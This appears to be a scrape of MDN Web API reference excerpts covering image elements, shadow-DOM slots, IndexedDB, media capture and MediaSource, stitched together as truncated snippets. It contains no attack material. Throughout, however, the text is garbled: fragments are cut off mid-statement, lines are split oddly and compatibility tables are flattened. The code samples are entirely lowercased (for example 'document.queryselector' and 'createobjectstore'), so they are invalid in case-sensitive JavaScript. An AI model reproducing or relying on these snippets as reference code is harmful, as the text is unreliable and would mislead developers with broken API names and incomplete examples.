HTMLImageElement.width - Web APIs
example in
this example, two different sizes are provided for an image of a clock using the srcset attribute.
...
this is done in the window's load and resize event handlers, in order to always provide
this information.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updatewidth = event => { output.innertext = clockimage.width; }; window.addeventlistener("load", updatewidth); window.addeventlistener("resize", updatewidth); result
this example may be easier to try out in its own window.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.x - Web APIs
html in
this example, we see a table showing information about users of a web site, including their user id, their full name, and their avatar image.
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`);
this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
... css the css defining the appearance of the table: .group1 { background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like
this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.x' in that specification.
... working draft browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.y - Web APIs
html in
this example, we see a table showing information about users of a web site, including their user id, their full name, and their avatar image.
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`);
this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
... css the css defining the appearance of the table: .group1 { background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like
this: specifications specification status comment css object model (cssom) view modulethe definition of 'htmlimageelement.y' in that specification.
... working draft browser compatibility the compatibility table on
this page is generated from structured data.
HTMLOptionsCollection - Web APIs
this object is returned only by the options property of select.
...width="2px" /><text x="286" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties name type description length unsigned long as optionally allowed by the spec,
this property isn't read-only.
...mozilla allows
this, while other implementations could potentially throw a domexception.
... methods
this interface inherits the methods of its parent, htmlcollection.
HTMLScriptElement.referrerPolicy - Web APIs
no-referrer-when-downgrade (default)
this is the user agent's default behavior if no policy is specified.
...
this policy will leak origins and paths from tls-protected resources to insecure origins.
... carefully consider the impact of
this setting.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLShadowElement - Web APIs
tmlshadowelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface inherits the properties of htmlelement.
... methods
this interface inherits the methods of htmlelement.
... htmlshadowelement.getdistributednodes() returns a static nodelist of the distributed nodes associated with
this <shadow> element.
... specifications
this feature is no longer defined by any specifications.
HTMLSlotElement.assignedElements() - Web APIs
the assignedelements() property of the htmlslotelement interface returns a sequence of the elements assigned to
this slot (and no other nodes).
... if the flatten option is set to true, it also returns the assigned elements of any other slots that are descendants of
this slot.
... examples let slots =
this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLSlotElement - Web APIs
methods htmlslotelement.assignednodes() returns a sequence of the nodes assigned to
this slot, and if the flatten option is set to true, the assigned nodes of any other slots that are descendants of
this slot.
... htmlslotelement.assignedelements() returns a sequence of the elements assigned to
this slot (and no other nodes).
... if the flatten option is set to true, it also returns the assigned elements of any other slots that are descendants of
this slot.
... let slots =
this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLTrackElement - Web APIs
this element can be used as a child of either <audio> or <video> to specify a text track containing information such as closed captions or subtitles.
... error 3 indicates that the text track was enabled, but when the user agent attempted to obtain it,
this failed in some way.
...
this event is always sent to the texttrack but is also sent to the htmltrackelement if one is associated with the track.
... you may also use the oncuechange event handler to establish a handler for
this event.
History.replaceState() - Web APIs
this method is particularly useful when you want to update the state object or url of the current history entry in response to some user action.
... title most browsers currently ignore
this parameter, although they may use it in the future.
...then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html');
this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
...at
this point, the url bar will display https://www.mozilla.org/bar2.html.
HmacImportParams - Web APIs
this should be set to hmac.
... warning: although you can technically pass sha-1 here,
this is strongly discouraged as it is considered vulnerable.
...if
this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen.
... unless you have a good reason to use a different length, omit
this property and use the default.
IDBCursor.advance() - Web APIs
note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of one of the following types: exception description transactioninactiveerror
this idbcursor's transaction is inactive.
... example in
this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through the records in the object store.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase.close() - Web APIs
the connection is not actually closed until all transactions created using
this connection are complete.
... no new transactions can be created for
this connection once
this method is called.
... note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase.name - Web APIs
note:
this feature is available in web workers.
... example
this example shows a database connection being opened, the resulting idbdatabase object being stored in a db variable, and the name property then being logged.
...
this is used a lot below db = dbopenrequest.result; //
this line will log the name of the database, which should be "todolist" console.log(db.name); }; specifications specification status comment indexed database api 2.0the definition of 'name' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase.onabort - Web APIs
note:
this feature is available in web workers.
...}; example
this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
... dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for
this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("no...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase.onerror - Web APIs
note:
this feature is available in web workers.
...} example
this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
... dbopenrequest.onupgradeneeded = function(event) { var db =
this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for
this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase.version - Web APIs
when a database is first created,
this attribute is an empty string.
... note:
this feature is available in web workers.
...
this is used a lot below db = dbopenrequest.result; //
this line will log the version of the connected database, which should be "4" console.log(db.version); }; specifications specification status comment indexed database api 2.0the definition of 'version' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabaseException - Web APIs
obsolete:
this interface was removed from the specification and was replaced by usage of domexception.
... more specific variants of
this error includes: transaction_inactive_err and read_only_err.
...
this can only happen with idbopendbrequest.
... browser compatibility the compatibility table on
this page is generated from structured data.
databases - Web APIs
note:
this feature is available in web workers.
... note:
this method is introduced in a draft of a specifications and browser compatibility is limited.
... exceptions
this method may raise a domexception of the following types: attribute description securityerror the method is called from an opaque origin.
... browser compatibility the compatibility table on
this page is generated from structured data.
IDBFactory - Web APIs
you open — that is, create and access — and delete a database with
this object, and not directly with idbfactory.
... note:
this feature is available in web workers.
...
this is used a lot later on, for opening transactions and suchlike.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBIndex.getAll() - Web APIs
if
this value is null or missing, the browser will use an unbound key range.
...if
this value exceeds the number of records in the query, the browser will only retrieve the first item.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of the following types: exception description transactioninactiveerror
this idbindex's transaction is inactive.
IDBIndex.getAllKeys() - Web APIs
if
this value is null or missing, the browser will use an unbound key range.
...if
this value exceeds the number of records in the query, the browser will only retrieve the first item.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of the following types: exception description transactioninactiveerror
this idbindex's transaction is inactive.
IDBIndex.keyPath - Web APIs
if null,
this index is not auto-populated.
... note:
this feature is available in web workers.
...we then open a basic cursor on the index using idbindex.opencursor —
this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBIndex.objectStore - Web APIs
note:
this feature is available in web workers.
...
this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
... the current object store is logged to the console: it should be returned something like
this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html table.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange.lowerBound() - Web APIs
note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key.
...
this means that the cursor will only retrieve the record with the key value "f" and all that come after it.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange.only() - Web APIs
note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of the following types: exception description dataerror the value parameter passed was not a valid key.
...
this means that the cursor will only retrieve the record with the key value "a".
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange - Web APIs
note:
this feature is available in web workers.
...
this means that the cursor will only retrieve records with keys inside that range.
...
this range includes the values "a" and "f", as we haven't declared that they should be open bounds.
... browser compatibility the compatibility table on
this page is generated from structured data.
IDBObjectStore.autoIncrement - Web APIs
the autoincrement read-only property of the idbobjectstore interface returns the value of the auto increment flag for
this object store.
... note:
this feature is available in web workers.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data ...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBObjectStore.getAll() - Web APIs
this method produces the same result for: a record that doesn't exist in the database a record that has an undefined value to tell these situations apart, you either call the opencursor() method with the same key.
...if nothing is passed,
this will default to a key range that selects all the records in
this object store.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of one of the following types: exception description transactioninactiveerror
this idbobjectstore's transaction is inactive.
IDBObjectStore.index() - Web APIs
note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of one of the following types: exception description invalidstateerror the source object store has been deleted, or the transaction for the object store has finished.
...we then open a basic cursor on the index using idbindex.opencursor —
this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBObjectStore.indexNames - Web APIs
the indexnames read-only property of the idbobjectstore interface returns a list of the names of indexes on objects in
this object store.
... note:
this feature is available in web workers.
... //
this is used a lot below db =
this.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var tra...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBObjectStore.name - Web APIs
the name property of the idbobjectstore interface indicates the name of
this object store.
... note:
this feature is available in web workers.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data ...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBObjectStore.transaction - Web APIs
the transaction read-only property of the idbobjectstore interface returns the transaction object to which
this object store belongs.
... note:
this feature is available in web workers.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data ...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBOpenDBRequest - Web APIs
note:
this feature is available in web workers.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
...
this is used a lot below db = dbopenrequest.result; // run the displaydata() function to populate the task // listwith all the to-do list data already in the idb displaydata(); }; //
this event handles the event whereby a new version of // the database needs to be created either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open li...
...ne above // it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db =
this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for
this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); };...
IDBRequest.onsuccess - Web APIs
note:
this feature is available in web workers.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has
this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlereque...
...st = objectstore.put(data); // when
this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBRequest.readyState - Web APIs
note:
this feature is available in web workers.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has
this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlereque...
...st = objectstore.put(data); // log the source of
this request console.log("the readystate of
this request is " + updatetitlerequest.readystate); // when
this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBRequest.result - Web APIs
note:
this feature is available in web workers.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has
this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlereque...
...st = objectstore.put(data); // when
this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBRequest.source - Web APIs
note:
this feature is available in web workers.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has
this title as its title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlereques...
...t = objectstore.put(data); // log the source of
this request console.log("the source of
this request is " + updatetitlerequest.source); // when
this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBRequest - Web APIs
each request has a readystate that is set to the 'pending' state;
this changes to 'done' when the request is completed or fails.
... note:
this feature is available in web workers.
...
this property can be null for certain requests, for example those returned from idbfactory.open unless an upgrade is needed.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
IDBTransaction: abort event - Web APIs
bubbles yes cancelable no interface event event handler property onabort
this can happen for any of the following reasons: bad requests, (for example, trying to add the same key twice, or put the same index key when the key has a uniqueness constraint), an explicit abort() call an uncaught exception in the request's success/error handler, an i/o error (an actual failure to write to disk, for example disk detached, or other os/hardware failure) quota exceeded.
... examples
this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.
...}); // abort the transaction transaction.abort(); }; the same example, but assigning the event handler to the onabort property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false ...
IDBTransaction.onabort - Web APIs
note:
this feature is available in web workers.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding ...
...te.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (
this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification ...
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBTransaction.onerror - Web APIs
note:
this feature is available in web workers.
... //
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding ...
...te.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (
this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBVersionChangeRequest.setVersion() - Web APIs
for older webkit browsers, call
this method before creating or deleting an object store.
... warning: the latest draft of the specification has dropped
this method.
... some not up-to-date browsers still implement
this method.
... browser compatibility the compatibility table on
this page is generated from structured data.
IIRFilterNode - Web APIs
the iirfilternode interface of the web audio api is a audionode processor which implements a general infinite impulse response (iir) filter;
this type of filter can be used to implement tone control devices and graphic equalizers as well.
...you may also find
this interface useful if you don't need automation, or for other reasons.
...as an iir filter, the non-zero input continues forever, but
this can be limited after some finite time in practice, when the output has approached zero closely enough.
... properties
this interface has no properties of its own; however, it inherits properties from its parent, audionode.
ImageCapture.takePhoto() - Web APIs
the user agent selects the closest height value to
this setting if it only supports discrete heights.
...the user agent selects the closest width value to
this setting if it only supports discrete widths.
... example
this example is extracted from
this simple image capture demo.
... browser compatibility the compatibility table on
this page is generated from structured data.
ImageData() - Web APIs
this constructor is the preferred way of creating such an object in a worker.
...
this value is optional if an array is given: the height will be inferred from the array's size and the given width.
... examples creating a blank imagedata object
this example creates an imagedata object that is 200 pixels wide and 100 pixels tall, containing a total of 20,000 pixels.
... let imagedata = new imagedata(200, 100); // imagedata { width: 200, height: 100, data: uint8clampedarray[80000] } initializing imagedata with an array
this example instantiates an imagedata object with pixel colors defined by an array.
InputDeviceCapabilities API - Web APIs
this can lead to instances where the same action triggers multiple event handlers.
... to deal with
this, developers make assumptions and use heuristics to normalize behavior on web pages.
... the inputdevicecapabilities api addresses
this problem by abstracting the capabilities of input devices.
...we can do
this by checking the sourcecapabilities property of the uievent.
getVersion - Web APIs
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
... returns if software installation is disabled,
this method returns null.
... if the component has not been registered in the client version registry or if the specified component was installed with a null version,
this method returns null.
InstallTrigger - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... the installtrigger interface is an interesting outlier in the apps api; it's included in
this api but are inherited from the old mozilla xpinstall technology for installing add-ons.
... note:
this article needs to be updated somewhat.
... enabled indicates whether or not software installation is enabled for
this client machine.
IntersectionObserver.thresholds - Web APIs
if only one threshold ratio was provided when instanitating the object,
this will be an array containing that single value.
...if only one observer was specified, without being in an array,
this value is a one-entry array containing that threshold.
... regardless of the order your original threshold array was in,
this one is always sorted in numerically increasing order.
...although the options object you can specify when creating an intersectionobserver has a field named threshold,
this property is called thresholds.
KeyboardEvent.initKeyboardEvent() - Web APIs
this method was introduced in draft of dom level 3 events, but deprecated in newer draft.
... gecko won't support
this feature since implementing
this method as experimental broke existing web apps (see bug 999645).
... web applications should use constructor instead of
this if it's available.
... syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg, viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event;
this will be one of keydown, keypress, or keyup.
KeyframeEffect.KeyframeEffect() - Web APIs
although
this is technically optional, keep in mind that your animation will not run if
this value is 0.
...
this is primarily of use when sequencing animations based on the end time of another animation.
...0.5 would indicate starting halfway through the first iteration for example, and with
this value set, an animation with 2 iterations would end halfway through a third iteration.
... composite determines how values are combined between
this animation and the element's underlying values.
MediaDeviceInfo.deviceId - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeviceidchrome full support 55notes full support 55notes notes for earlier versions,
this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes
this prope...
...rty can be used in opera by using the adapter.js polyfill.safari no support nowebview android full support 55notes full support 55notes notes for earlier versions,
this interface is available through the adapter.js polyfillchrome android full support 55notes full support 55notes notes for earlier versions,
this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support ...
... nonotes notes
this property can be used in opera by using the adapter.js polyfill.safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes for earlier versions,
this interface is available through the adapter.js polyfilllegend full support full support no support no supportsee implementation notes.see implementation notes.
MediaDeviceInfo.kind - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkindchrome full support 55notes full support 55notes notes for earlier versions,
this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes
this prope...
...rty can be used in opera by using the adapter.js polyfill.safari no support nowebview android full support 55notes full support 55notes notes for earlier versions,
this interface is available through the adapter.js polyfillchrome android full support 55notes full support 55notes notes for earlier versions,
this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support ...
... nonotes notes
this property can be used in opera by using the adapter.js polyfill.safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes for earlier versions,
this interface is available through the adapter.js polyfilllegend full support full support no support no supportsee implementation notes.see implementation notes.
MediaError - Web APIs
properties
this interface doesn't inherit any properties.
...
this text and its format is not defined by the specification and will vary from one user agent to another.
... if no diagnostics are available, or no explanation can be provided,
this value is an empty string ("").
... methods
this interface doesn't implement or inherit any methods, and has none of its own.
MediaKeySession - Web APIs
this promise can only be fulfilled and is never rejected.
...
this value is determined by the cdm and measured in milliseconds since january 1, 1970, utc.
...
this value may change during a session lifetime, such as when an action triggers the start of a window.
... methods mediakeysession.close() returns a promise after notifying the current media session is no longer needed and that the cdm should release any resources associated with
this object and close it.
MediaPositionState.duration - Web APIs
this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer.
... for example, a browser might use
this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
...
this value should always be positive.
... example in
this example, an app performing a live stream provides information to the browser by preparing a mediapositionstate object and submitting it by calling navigator.mediasession.setpositionstate().
MediaPositionState.position - Web APIs
this information is then, in turn, used by the user agent to provide a user interface which displays media playback information to the viewer.
... for example, a browser might use
this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
...
this value should always be zero or more.
... example in
this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
MediaRecorder() - Web APIs
this source media can come from a stream created using navigator.mediadevices.getusermedia() or from an <audio>, <video> or <canvas> element.
...
this can be specified instead of the above two properties.
... if
this is specified along with one or the other of the above properties,
this will be used for the one that isn't specified.
... example
this example shows how to create a media recorder for a specified stream, whose audio bit rate is set to 128 kbit/sec and whose video bit rate is set to 2.5 mbit/sec.
MediaRecorder.start() - Web APIs
if
this parameter isn't included, the entire media duration is recorded into a single blob unless the requestdata() method is called to obtain the blob and trigger the creation of a new blob into which the media continues to be recorded.
...
this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
...
this also happens when a mediastreamtrack within the stream is marked as isolated due to the peeridentity constraint on the source stream.
...
this exception may also be delivered as an error event if the security options for the source media change after recording begins.
MediaSession.setPositionState() - Web APIs
this can be particularly useful if your code implements a player for type of media not directly supported by the browser.
... call
this method on the navigator object's mediasession object.
... exceptions typeerror
this error can occur in an array of circumstances: the specified mediapositionstate object's duration is missing, negative, or null.
... example in
this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
MediaSource - Web APIs
properties mediasource.sourcebuffers read only returns a sourcebufferlist object containing the list of sourcebuffer objects associated with
this mediasource.
... static methods mediasource.istypesupported() returns a boolean value indicating if the given mime type is supported by the current user agent —
this is, if it can successfully create sourcebuffer objects for that mime type.
...
this example was written by nick desaulniers and can be viewed live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: '...
..., mimecodec); } function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
